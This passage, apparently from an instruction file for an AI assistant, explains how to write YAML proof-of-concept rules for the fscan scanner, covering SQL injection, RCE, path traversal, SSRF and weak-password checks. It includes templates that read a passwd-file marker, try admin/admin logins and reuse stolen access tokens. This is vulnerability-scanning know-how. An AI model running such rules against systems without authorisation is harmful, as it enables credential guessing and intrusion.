&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**SQLi**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response.body.bcontains(b&amp;#34;sql-error-string&amp;#34;) || response.body.bcontains(b&amp;#34;injected-marker&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common SQL error markers: &lt;span class="sb"&gt;`You have an error in your SQL`&lt;/span&gt;, &lt;span class="sb"&gt;`SQLSTATE`&lt;/span&gt;, &lt;span class="sb"&gt;`ORA-`&lt;/span&gt;, &lt;span class="sb"&gt;`Microsoft OLE DB`&lt;/span&gt;, &lt;span class="sb"&gt;`Syntax error`&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**RCE (blind math)**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Inject &lt;span class="sb"&gt;`expr {{rand1}} + {{rand2}}`&lt;/span&gt; or equivalent arithmetic. Verify:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response.body.bcontains(bytes(string(rand1 + rand2)))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**RCE (reflected output)**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Run a safe command like &lt;span class="sb"&gt;`id`&lt;/span&gt; or &lt;span class="sb"&gt;`echo marker`&lt;/span&gt;. Verify:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;(uid|gid|groups)=[0-9]+&amp;#34;.bmatches(response.body) || response.body.bcontains(b&amp;#34;marker&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or check response header for injected output:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#34;((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)&amp;#34;.bmatches(response.raw_header)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**LFI / Path Traversal**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response.body.bcontains(b&amp;#34;root:x:0:0&amp;#34;) || response.body.bcontains(b&amp;#34;[boot loader]&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**SSRF**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Detect internal service response or DNS interaction marker:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;internal-marker&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Unauth Access**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;sensitive-page-marker&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Info Leak**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use &lt;span class="sb"&gt;`search`&lt;/span&gt; field (see Step 5). Expression confirms the field exists:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;leaked-field-name&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Weak Password**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Multi-rule: first verify the login endpoint exists (status check), then attempt auth. Check success marker (redirect, session cookie, dashboard content):
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/admin/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 401 || response.body.bcontains(b&amp;#34;Login&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/admin/login&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;username={{username}}&amp;amp;password={{password}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 302 || response.body.bcontains(b&amp;#34;Dashboard&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Detect / Fingerprint**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Simple presence check:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;&amp;lt;title&amp;gt;Product Name&amp;lt;/title&amp;gt;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 5: Add `search` Field for Info Extraction
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add &lt;span class="sb"&gt;`search`&lt;/span&gt; when the response contains extractable sensitive data: tokens, credentials, version strings, API keys.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Syntax: Python-style named capture groups &lt;span class="sb"&gt;`(?P&amp;lt;varname&amp;gt;pattern)`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Match scope: concatenated response headers + response body
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Extracted values are printed when POC matches AND injected into &lt;span class="sb"&gt;`variableMap`&lt;/span&gt; for use in subsequent rules via &lt;span class="sb"&gt;`{{varname}}`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example for token extraction:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/auth&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;admin&amp;#34;}&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;search&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#34;accessToken&amp;#34;:&amp;#34;(?P&amp;lt;token&amp;gt;[^&amp;#34;]+)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;accessToken&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example chaining extracted var into next rule:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/api/admin/users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Bearer {{token}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 6: Multi-Rule Chains
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When the exploit requires multiple HTTP round-trips:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; Each intermediate rule verifies its step succeeded with a focused &lt;span class="sb"&gt;`expression`&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; The final rule carries the definitive detection expression.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; Use &lt;span class="sb"&gt;`search`&lt;/span&gt; in intermediate rules to extract session tokens, CSRF values, etc. for later rules.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; For RCE cleanup (e.g., delete a created route), add cleanup rules after the verification rule.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; Avoid &lt;span class="sb"&gt;`continue: true`&lt;/span&gt; unless you explicitly need to collect results from a failing rule — by default all rules must pass for the POC to match.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 7: Optional Fields
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`follow_redirects: true`&lt;/span&gt; — only add when the exploit requires following a redirect (e.g., login flows). Default is false.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`detail`&lt;/span&gt; block — always include at minimum &lt;span class="sb"&gt;`author`&lt;/span&gt; and &lt;span class="sb"&gt;`links`&lt;/span&gt;. Add &lt;span class="sb"&gt;`description`&lt;/span&gt; for non-obvious vulns.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;your-handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;One-line vuln description&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXXX&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Step 8: Output
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; Print the &lt;span class="gs"&gt;**complete YAML**&lt;/span&gt; in a fenced code block labeled &lt;span class="sb"&gt;`yaml`&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; Suggest the &lt;span class="gs"&gt;**filename**&lt;/span&gt; following naming convention.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; If the user wants to embed it in the binary, remind them:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt; &amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;Place in `WebScan/pocs/` then recompile: `go build -o fscan main.go`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt; &amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;POC files are embedded at compile time via `//go:embed pocs`.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; Do &lt;span class="gs"&gt;**not**&lt;/span&gt; write the file to disk unless the user explicitly asks.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Quick Templates
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Detection-only:**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-{vendor}-{product}-detect&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;GET&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;/path/to/check&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.status == 200 &amp;amp;&amp;amp; response.body.bcontains(b&amp;#34;unique-marker&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;links&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**RCE blind (math proof):**&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
